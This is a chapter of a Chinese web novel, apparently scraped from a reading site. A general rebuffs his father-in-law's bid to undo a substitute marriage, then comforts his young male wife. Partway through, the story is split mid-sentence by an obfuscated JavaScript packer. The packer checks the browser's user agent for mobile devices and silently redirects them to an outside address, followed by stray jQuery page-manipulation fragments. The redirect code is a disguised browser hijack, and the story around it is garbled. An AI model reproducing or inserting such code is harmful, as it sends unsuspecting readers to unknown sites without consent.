春时,京城发生了件大事。
将军府门前,某日悄然停了辆不起眼的青盖马车,车帘下垂,将里面的人遮得严严实实。
去递拜帖的小厮小步跑回来,在马车前低眉顺眼道:“老爷,可以进去了。”
马车帘子被掀开,从里面弯腰走出个苍老的人,正是几月前与庾家结了亲的时老尚书。车里面似乎还坐了什么人,老尚书并未急着下去,而是转身冲马车里低斥一句:“还不下来!”
里头的人像是有些不情愿,但到底还是掀帘下来了,只是上下遮得严实,一顶幂篱将她整个半身盖住,只隐隐看出她衣着不凡。
时老尚书哼了一声,甩袖走在前头。
-
将军府正堂,气氛凝滞。
时老尚书坐在客位,脸色不大好看,手边是一盏放凉了的茶。
时千娇在他身侧,也是坐了许久,此刻已经有些坐不住了。
庾祁之虽接了他们的拜帖,却迟迟未曾出现。时家二人坐了有足足一柱香的冷板凳,此刻脸色已微微发青。
“欺人太甚!”时老尚书耐心告罄,猛一拍桌,正欲发作,屋外却传来一阵沉稳的脚步声,原来是庾祁之身着玄色常服,正缓缓步入正厅。
他走得不疾不徐,不像是要见客,反倒像是在自家花园里闲逛。时老尚书见到他这样闲情逸致,不禁鼻子都要气歪,一把白花花的胡子抖了又抖,最后硬生生挤出一个慈蔼的笑:“贤婿来了。”
庾祁之闻言,不温不热瞥他一眼。其实庾祁之长得也能称上一句俊俏,偏偏身上杀伐之气太重,因此只这一眼就显得更外冰冷。时老尚书只感觉这目光如有实质,冰渣子一般朝他扎过来,一时面上的笑意都被冻得一僵。
他旁边的时千娇也被这目光慑了一下,缩在一边不敢动作。
时老尚书冲她投去恨铁不成钢的一眼,随即又冲庾祁之笑道,“许久不曾见过贤婿,不知贤婿近来可好?”
庾祁之在他说话间已在首座落了座,小厮立马上前为他添了盏热茶。他将茶盏递到唇边,不紧不慢喝了一口,才凉凉道出一句:“称不上是许久。”
说着,庾祁之眉眼微抬,竟是没给自己这位岳丈半分颜面,“前不久才在朝上见过,时尚书是年纪大了,已经记不住事了。”
时尚书的笑又是一僵,这次却是怎么都笑不起来了。
气氛一时降到了冰点,时千娇努力往旁边缩,试图降低一点自己的存在感。
还是庾祁之大发慈悲又开了口:“时尚书大驾光临,不知有何贵干?”
这便算是给了一个台阶了。
竖子狂妄!
时尚书气得心梗,偏偏不能发作,于是又恨恨瞪了罪魁祸首一眼,才又冲上首挤出一丝笑来,只是如今这笑压根算不上笑,难看得像被剥下的树皮褶皱挤在一处。
他道:“贤婿客气。老夫今日前来,是要向将军赔罪。”
庾祁之一顿,眼皮撩起来,终于是舍得用正眼看人,才看见时尚书不是单独一人前来,身旁还坐了个披罗戴翠的女子。
他像是想到了什么,浓黑的眉毛皱了起来。果不其然,一旁的时尚书压低声音道:“先前庾家与时家结亲,本当是天作之合,偏偏……”
“唉,老夫这女儿被我宠坏了,行事便任性了些,不得已才叫她庶弟替她出嫁。此事实在是对不住将军,都是老夫教女无方,才让庾家受此奇耻大辱。”
说着,时老尚书从椅子上起身,弯腰朝庾祁之深深一揖。
庾祁之表情莫测,摩挲着杯壁不曾开口。
时尚书脸上滴下滴汗,又在心中怒骂了庾祁之数遍,最后还是自己直起身来,便听见上头一声嗤笑。
时老尚书只觉得一张老脸火辣辣的,他位高权重了半辈子,结果没丢过的人都要在庾祁之这处丢完了!
不过已经开了口,剩下的话便没那么难说出来:“不过小女如今已经知错,老夫今日前来叨扰,一是来替小女向将军赔罪,二来……”
庾祁之微微坐直了点身,听见时尚书理直气壮地开口,“二来也是要拨乱反正,既然小女已经回来,那一切自然是要回到正轨。”
庾祁之被他的厚颜无耻气笑了。
时尚书听见他笑,还以为自己说的话得到庾祁之的认同,于是加重语气道:“小女自幼饱读诗书,聪颖过人,自然与将军相配,日后你二人夫妻相互扶持,时家与她也会是将军强有力的助力。”
“至于那个庶子——”时尚书眼神厌恶,似乎连提起都觉得晦气,“他出身卑贱,又是妖邪之相,如何配得上——!!”
“啪!”
庾祁之猛地将手中茶盏摔在地上!
他用了极大的力道,茶盏在一瞬四分五裂,滚烫的茶水迸溅在地上,弄湿了时尚书的鞋。
四处崩裂的碎片弹到他的脸上,在那张枯树一样的面皮上割出一道伤痕。
“啊!!”
时千娇惊叫一声,拖着椅子往旁边躲。
“住口!”
庾祁之的爆喝如一只巨大的手,死死扼住时千娇的喉咙,她一瞬间呆在原地,像一只被掐住的鸡。
时尚书好歹也是见过大场面的人,只是也不免被庾祁之骤然的暴怒惊得后退起步。
庾祁之站立起身,语气沉沉,裹挟着刀子般的怒气——
“时通海。”
时通海是时尚书的大名。
他一怔,随即意识到眼前这个小辈竟敢直呼他大名,正欲发怒便被步步逼近的庾祁之吓没了气焰。
谁让庾祁之此刻的表情实在过于恐怖,看着像是要将时尚书生吞活剥了去。
“时通海,”庾祁之再次重复了遍,声音冷得可怕,“谁给你的胆子,在我庾祁之的面前,辱骂我的妻子?”
“妻……妻子?!”时通海被他的一身气势骇得声音都变了调,他尖声道,“他算哪门子妻子?一个替嫁的庶子!庾祁之,你要让所有人知道你娶了个上不得台面的男妻?!”
回应他的是冰冷的刀光!
不知何时,庾祁之拔了刀,刀尖正正抵在时尚书的额上。时尚书眉心一痛,随即便感觉有股热流迎面而下。
他伸手摸了把,入目是一片刺眼的红色,顿时软了腿,两股战战摔在红木椅上。
“你……你……”
时尚书颤手指着庾祁之,好半天说不出一句话来。
旁边的时千娇早吓成了鹌鹑,躲在一边一声不吭。
庾祁之并未收刀,冰冷白刃被他大剌剌露在外头,他语气森寒:“我会让所有人都知道,时微是我拜过天地的妻子。你既不喜他,以后也不必与他有什么干系。”
“他于我,是掌上明珠、此生唯一。旁人万万没有欺负责辱他的道理,若是有人对他不敬,便莫要怪我刀下无情!”
“你,你……”
时尚书还是手抖,他被气得几乎眼前发黑,良久才“你”出个名堂:“小子不要太狂妄!你可知当今圣上对世家忌惮已久?你若是不与我时家联手,早晚被陛下连根拔起铲除干净!”
他被气昏了头,什么话都能往外说。
庾祁之轻蔑一笑。
“我庾祁之能走到如今这个地步,可没借过庾家半点力。”
“时尚书与其担心我,不如多为自己忧心。”
这话算是踩了时尚书的痛点。
时家盘根已久,虽说到他这一脉人丁稀少,但还是成了年轻帝王的眼中钉、肉中刺。
他急急要与庾祁之结亲,便是出于此番考虑。没想到弄成现今这番局面,时尚书只觉得悔不当初。
庾祁之看样子,是要护着时微护到底了。
时尚书气恼之余,也微微有些心惊。时微究竟是给庾祁之灌了什么迷魂汤,才让这位拒人于千里外的桀骜将军百般维护。
时微在时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769817|171793||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家的存在太低了,时尚书根本忘了自己这个儿子是什么样。他一时百思不得其解。
“时尚书。”上首的庾祁之又开了口,“好自为……”
庾祁之话语忽地收住,随即一声金戈碰撞之声,原来是他收刀入鞘。
时尚书似有所感。
外间又传来一阵脚步声,有些杂乱,像是不止一人。
随着脚步逐渐接近,伴随着的是细细的轻喘与衣料摩擦间细微的动静,时尚书听见庾祁之开口:“……怎么突然来了?”
语气截然不同,方才还冷得能杀人的语调被放得极为温柔,像是生怕惊扰了面前的人。
那人没有说话,像是跑了许久,一时喘不匀气。庾祁之的声音再次响起来,这次语气里更多的是心疼:“不是说了你身子弱,不能乱跑?”
随即又换了语气对一边的人肃声道:“夫人不懂事,你也不懂事吗?怎么不拦着夫人?”
旁边的人像是服侍的婢女,低声告罪后才解释道:“夫人听人说将军发了好大的火,一时担心便跑来了,奴婢没能拦住,请将军责罚。”
……夫人?
时尚书这才缓缓回神,凝目向刚跑来的人望去。
只见那人月白长发用一根玉簪随意挽起,因为跑动松散了些,散下来的发丝柔顺披在肩头,遮住他单薄的半边肩膀。
他显然是听到动静急急赶来的,身上只穿了件牙白绸衫,匆匆披了层湖绿色的外衫,弱不胜衣的姿态都楚楚动人。
时尚书一时有些怔愣。
眼前这个姿容美丽的少年,竟然是他那貌若妖邪、平凡无闻的幼子吗?
他有些恍惚。
眼前的人通体雪白,连着睫毛都是浅淡的颜色,便是时尚书再不愿意,也不得不承认这就是那个被自己厌弃多年的幼子。
可即便他仍然是异于常人的外貌,时尚书却对他再生不起半分厌恶。
他只是怔在原地。
时微眼里只有自己的丈夫,根本没注意到旁边的人。他好容易喘过了气,才捧起庾祁之的手。
男人的手骨节分明,青筋迸起,是很有力量感的一双手。此刻正乖乖地被时微握在手里。
小少年细眉蹙起,姣美的脸上有一点难过,他对着庾祁之的手翻来覆去看了几遍,确定在上面没找到任何伤痕后,才柔声开口:“怎,怎么发了,这么大的火?”
他一开口,时尚书便发现了不对。
少年说话时,即便是压着舌头咬着字,也不免吞吞吐吐,说起话来有些结巴。
庾祁之眼神软了软,道:“没事,只是有些激动。”
时微蹙着眉看他,小妻子眼里满满的全是自己的丈夫,细声道:“都,都弄成这样了……”
他说着环顾一下四周,想说,都弄成这样了,还说没事。转头便看见那边满脸是血的时尚书和幂篱下瑟瑟发抖的时千娇,顿时被吓得轻叫一声,软软靠在庾祁之怀里了。
庾祁之见他被吓到,眼神冷冽如刀看了时尚书一眼,随后搂住时微的腰,轻声哄他:“娘子别看。先和佩兰回去好不好?夫君马上就过来陪你。”
时微握住横在他腰间铁棍般的小臂,眼中满是担忧地摇了摇头。
他咬着唇,说:“我,我担心你。”
时微很粘人,是对丈夫需求很高的小妻子。庾祁之一直很受用他的粘人,如今被他乞求担忧的眼神一看,更是什么事都要依他。
他轻轻拍着时微的腰,哄道:“怎么能让小微担心呢?是我做错了,我这就来陪你。”
“魏成,送客。”
时尚书于是眼睁睁地看着庾祁之搂着时微出去了。
“等……”他下意识迈开脚步想追出去,小山一样高壮的魏成便拦在了他面前。
魏成肤色黝黑,脸上还有一道战场上留下来的刀疤,便显得有些凶神恶煞,此刻俯视着时尚书,语气冷硬:“时尚书,请。”